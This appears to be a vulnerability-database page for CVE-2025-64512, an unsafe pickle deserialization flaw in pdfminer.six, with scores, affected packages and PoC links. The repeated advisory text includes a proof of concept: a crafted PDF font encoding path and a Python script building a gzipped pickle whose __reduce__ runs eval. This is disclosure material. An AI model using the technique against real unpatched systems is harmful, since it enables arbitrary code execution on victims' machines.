CVE-2025-64512
pdfminer.six vulnerable to Arbitrary Code Execution via Crafted PDF Input
Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.6
pdfminer.six vulnerable to Arbitrary Code Execution via Crafted PDF Input
Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue.
- Record
CVE-2025-64512- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2025-38315
8.6
Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue.
- Record
EUVD-2025-38315- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-wf5f-4jwr-ppcp
8.6
Arbitrary Code Execution in pdfminer.six via Crafted PDF Input
Summary
pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.
Details
# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # Insufficient sanitization
filename = "%s.pickle.gz" % name
# ... path construction ...
path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
# ...
return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization
An attacker can:
- Create a malicious PDF with a CMap reference like
/malicious - Place a malicious pickle file at
/malicious.pickle.gz - When the PDF is processed, pdfminer loads and deserializes the malicious pickle
- The pickle deserialization can execute arbitrary Python code
POC
Malicious PDF
Create a PDF with a malicious CMAP entry:
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.
Malicious Pickle
Create a malicious, zipped pickle to execute. For example, with this Python script:
#!/usr/bin/env python3
import pickle
import gzip
def create_demo_pickle():
print("Creating demonstration pickle file...")
# Create payload that executes code AND returns a dict (as pdfminer expects)
class EvilPayload:
def __reduce__(self):
# This function will be called during unpickling
code = "print('Malicious code executed.') or exit(0) or {}"
return (eval, (code,))
demo_cmap_data = EvilPayload()
# Create the pickle file that the path traversal would access
target_path = "./malicious.pickle.gz"
try:
with gzip.open(target_path, 'wb') as f:
pickle.dump(demo_cmap_data, f)
print(f"✓ Created demonstration pickle file: {target_path}")
return target_path
except Exception as e:
print(f"✗ Error creating pickle file: {e}")
return None
if __name__ == "__main__":
create_demo_pickle()
This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.
Test
Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:
$ pdf2txt.py malicious.pdf
Malicious code executed!
Impact
If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.
The difficulty in achieving this depends on the OS, see below.
Linux, MacOS - harder to exploit
On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which…
- Record
GHSA-wf5f-4jwr-ppcp- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
8.6
Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue.
- Record
CVE-2025-64512- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
8.6
pdfminer.six vulnerable to Arbitrary Code Execution via Crafted PDF Input
Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue.
- Record
CVE-2025-64512- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-64512
7.8
Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue.
- Record
DEBIAN-CVE-2025-64512- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 7 moreShow less
OSVGHSA-wf5f-4jwr-ppcp
8.6
Arbitrary Code Execution in pdfminer.six via Crafted PDF Input
Summary
pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.
Details
# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # Insufficient sanitization
filename = "%s.pickle.gz" % name
# ... path construction ...
path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
# ...
return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization
An attacker can:
- Create a malicious PDF with a CMap reference like
/malicious - Place a malicious pickle file at
/malicious.pickle.gz - When the PDF is processed, pdfminer loads and deserializes the malicious pickle
- The pickle deserialization can execute arbitrary Python code
POC
Malicious PDF
Create a PDF with a malicious CMAP entry:
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.
Malicious Pickle
Create a malicious, zipped pickle to execute. For example, with this Python script:
#!/usr/bin/env python3
import pickle
import gzip
def create_demo_pickle():
print("Creating demonstration pickle file...")
# Create payload that executes code AND returns a dict (as pdfminer expects)
class EvilPayload:
def __reduce__(self):
# This function will be called during unpickling
code = "print('Malicious code executed.') or exit(0) or {}"
return (eval, (code,))
demo_cmap_data = EvilPayload()
# Create the pickle file that the path traversal would access
target_path = "./malicious.pickle.gz"
try:
with gzip.open(target_path, 'wb') as f:
pickle.dump(demo_cmap_data, f)
print(f"✓ Created demonstration pickle file: {target_path}")
return target_path
except Exception as e:
print(f"✗ Error creating pickle file: {e}")
return None
if __name__ == "__main__":
create_demo_pickle()
This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.
Test
Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:
$ pdf2txt.py malicious.pdf
Malicious code executed!
Impact
If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.
The difficulty in achieving this depends on the OS, see below.
Linux, MacOS - harder to exploit
On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which…
- Record
GHSA-wf5f-4jwr-ppcp- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVPYSEC-2026-1762
8.6
Arbitrary Code Execution in pdfminer.six via Crafted PDF Input
Summary
pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.
Details
# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # Insufficient sanitization
filename = "%s.pickle.gz" % name
# ... path construction ...
path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
# ...
return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization
An attacker can:
- Create a malicious PDF with a CMap reference like
/malicious - Place a malicious pickle file at
/malicious.pickle.gz - When the PDF is processed, pdfminer loads and deserializes the malicious pickle
- The pickle deserialization can execute arbitrary Python code
POC
Malicious PDF
Create a PDF with a malicious CMAP entry:
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.
Malicious Pickle
Create a malicious, zipped pickle to execute. For example, with this Python script:
#!/usr/bin/env python3
import pickle
import gzip
def create_demo_pickle():
print("Creating demonstration pickle file...")
# Create payload that executes code AND returns a dict (as pdfminer expects)
class EvilPayload:
def __reduce__(self):
# This function will be called during unpickling
code = "print('Malicious code executed.') or exit(0) or {}"
return (eval, (code,))
demo_cmap_data = EvilPayload()
# Create the pickle file that the path traversal would access
target_path = "./malicious.pickle.gz"
try:
with gzip.open(target_path, 'wb') as f:
pickle.dump(demo_cmap_data, f)
print(f"✓ Created demonstration pickle file: {target_path}")
return target_path
except Exception as e:
print(f"✗ Error creating pickle file: {e}")
return None
if __name__ == "__main__":
create_demo_pickle()
This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.
Test
Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:
$ pdf2txt.py malicious.pdf
Malicious code executed!
Impact
If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.
The difficulty in achieving this depends on the OS, see below.
Linux, MacOS - harder to exploit
On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which…
- Record
PYSEC-2026-1762- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-64512
8.6
Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue.
- Record
UBUNTU-CVE-2025-64512- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2025:15727-1 No score
python311-pdfminer.six-20251107-1.1 on GA media
These are all security issues fixed in the python311-pdfminer.six-20251107-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15727-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2025-64512 No score
CVE-2025-64512 in rootio-pdfminer.six - Patched by Root
Root has patched CVE-2025-64512 in the rootio-pdfminer.six package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2025-64512- Updated
- 2026-11-02
OSVROOT-APP-PYPI-GHSA-wf5f-4jwr-ppcp No score
GHSA-wf5f-4jwr-ppcp in rootio-pdfminer.six - Patched by Root
Root has patched GHSA-wf5f-4jwr-ppcp in the rootio-pdfminer.six package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-GHSA-wf5f-4jwr-ppcp- Updated
- 2026-11-02
OSVUSN-8837-1 No score
pdfminer vulnerabilities
It was discovered that pdfminer did not safely parse specially crafted PDF files. An attacker could possibly use these issues to execute arbitrary code. (CVE-2025-64512, CVE-2025-70559)
- Record
USN-8837-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pdfminer-sixPyPI |
before 20251107 | 20251107 |
pdfminerDebian:12 |
before 20221105+dfsg-1.1~deb12u1, plus listed versions 20221105+dfsg-1 |
20221105+dfsg-1.1~deb12u1 |
pdfminerDebian:13 |
before 20221105+dfsg-1.1~deb13u1, plus listed versions 20221105+dfsg-120221105+dfsg-1.1~deb12u1 |
20221105+dfsg-1.1~deb13u1 |
pdfminerDebian:14 |
before 20221105+dfsg-1.1, plus listed versions 20221105+dfsg-120221105+dfsg-1.1~deb12u120221105+dfsg-1.1~deb13u1 |
20221105+dfsg-1.1 |
pdfminerDebian:11 |
before 20200726-1+deb11u1, plus listed versions 20200726-1 |
20200726-1+deb11u1 |
pdfminer-sixPyPI |
before 20251107, plus listed versions 2014091520151013201602022016061420170418 Show 26 moreShow less2017041920170720201811082019102020191107201911102020010420200121202001242020040120200402202005172020072020200726202010182021101220220319202205062022052420221105202312282024070620250324202503272025041620250506 |
20251107 |
rootio-pdfminer.sixRoot:PyPI |
before 20240706+root.io.1 | 20240706+root.io.120240706+root.io.2 |
pdfminer.sixRoot:PyPI |
before 20240706+aikido.2 | 20240706+aikido.2 |
pdfminerUbuntu:Pro:16.04:LTS |
before 20140328+dfsg-1ubuntu0.16.04.1~esm1, plus listed versions 20110515+dfsg-120140328+dfsg-1 |
20140328+dfsg-1ubuntu0.16.04.1~esm1 |
pdfminerUbuntu:Pro:18.04:LTS |
before 20140328+dfsg-1ubuntu0.18.04.1~esm1, plus listed versions 20140328+dfsg-1 |
20140328+dfsg-1ubuntu0.18.04.1~esm1 |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
pdfminerUbuntu:Pro:20.04:LTS |
before 20191020+dfsg-2ubuntu0.1~esm1, plus listed versions 20181108+dfsg-320191020+dfsg-120191020+dfsg-2 |
20191020+dfsg-2ubuntu0.1~esm1 |
pdfminerUbuntu:Pro:22.04:LTS |
before 20220319+dfsg-1ubuntu0.1~esm1, plus listed versions 20200726-120201018+dfsg-120220319+dfsg-1 |
20220319+dfsg-1ubuntu0.1~esm1 |
pdfminerUbuntu:Pro:24.04:LTS |
before 20221105+dfsg-1ubuntu0.1~esm1, plus listed versions 20221105+dfsg-1 |
20221105+dfsg-1ubuntu0.1~esm1 |
pdfminerUbuntu:25.10 |
All versions, plus listed versions 20221105+dfsg-1 |
None known |
pdfminerUbuntu:Pro:16.04:LTS From an advisory covering 2 CVEs |
before 20140328+dfsg-1ubuntu0.16.04.1~esm1, plus listed versions 20110515+dfsg-120140328+dfsg-1 |
20140328+dfsg-1ubuntu0.16.04.1~esm1 |
pdfminerUbuntu:Pro:18.04:LTS From an advisory covering 2 CVEs |
before 20140328+dfsg-1ubuntu0.18.04.1~esm1, plus listed versions 20140328+dfsg-1 |
20140328+dfsg-1ubuntu0.18.04.1~esm1 |
pdfminerUbuntu:Pro:20.04:LTS From an advisory covering 2 CVEs |
before 20191020+dfsg-2ubuntu0.1~esm1, plus listed versions 20181108+dfsg-320191020+dfsg-120191020+dfsg-2 |
20191020+dfsg-2ubuntu0.1~esm1 |
pdfminerUbuntu:Pro:22.04:LTS From an advisory covering 2 CVEs |
before 20220319+dfsg-1ubuntu0.1~esm1, plus listed versions 20200726-120201018+dfsg-120220319+dfsg-1 |
20220319+dfsg-1ubuntu0.1~esm1 |
pdfminerUbuntu:Pro:24.04:LTS From an advisory covering 2 CVEs |
before 20221105+dfsg-1ubuntu0.1~esm1, plus listed versions 20221105+dfsg-1 |
20221105+dfsg-1ubuntu0.1~esm1 |
python-pdfminer.sixopenSUSE:Tumbleweed |
before 20251107-1.1 | 20251107-1.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | luigigubello/CVE-2025-64512-Polyglot-PoC | 2025-12-11 |
| PoC in GitHub | joeack123/PoC-for-CVE-2025-64512 | 2026-07-19 |
| PoC in GitHub | matesz44/CVE-2025-64512 | 2026-07-19 |
| PoC in GitHub | BardLaudian/CVE-2025-64512 | 2026-07-21 |
| PoC in GitHub | MehdiChyhab/CVE-2025-64512-exploit | 2026-07-21 |
| PoC in GitHub | stoic-crawler/CVE-2025-64512 | 2026-07-22 |
| PoC in GitHub | saadhassan77/CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE- | 2026-07-27 |
| PoC in GitHub | DodgeNefoli/CVE-2025-64512 | 2026-08-12 |
| PoC in GitHub | oguzylmzx/CVE-2025-64512-pdfminer-PoC | 2026-08-15 |
| PoC in GitHub | Jinook-Kim/CVE-2025-64512_PoC | 2026-09-15 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, exploits, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-64512 is a high vulnerability (CVSS 8.6) in Pdfminer Pdfminer.six, published November 7, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in pdfminer-six 20251107.
References
github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp
github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086
github.com/pdfminer/pdfminer.six/releases/tag/20251107
lists.debian.org/debian-lts-announce/2025/11/msg00017.html
lists.debian.org/debian-lts-announce/2026/01/msg00005.html
nvd.nist.gov/vuln/detail/CVE-2025-64512
Show 10 moreShow less
github.com/advisories/GHSA-wf5f-4jwr-ppcp
github.com/CVEProject/cvelistV5/tree/main/cves/2025/64xxx/CVE-2025-64512.json
security-tracker.debian.org/tracker/CVE-2025-64512
github.com/pdfminer/pdfminer.six
pypi.org/project/pdfminer-six
ubuntu.com/security/CVE-2025-64512
cve.org/CVERecord?id=CVE-2025-64512
ubuntu.com/security/notices/USN-8837-1
ubuntu.com/security/CVE-2025-70559
suse.com/security/cve/CVE-2025-64512
Left out here: the rest of 3 source descriptions. The JSON record has them.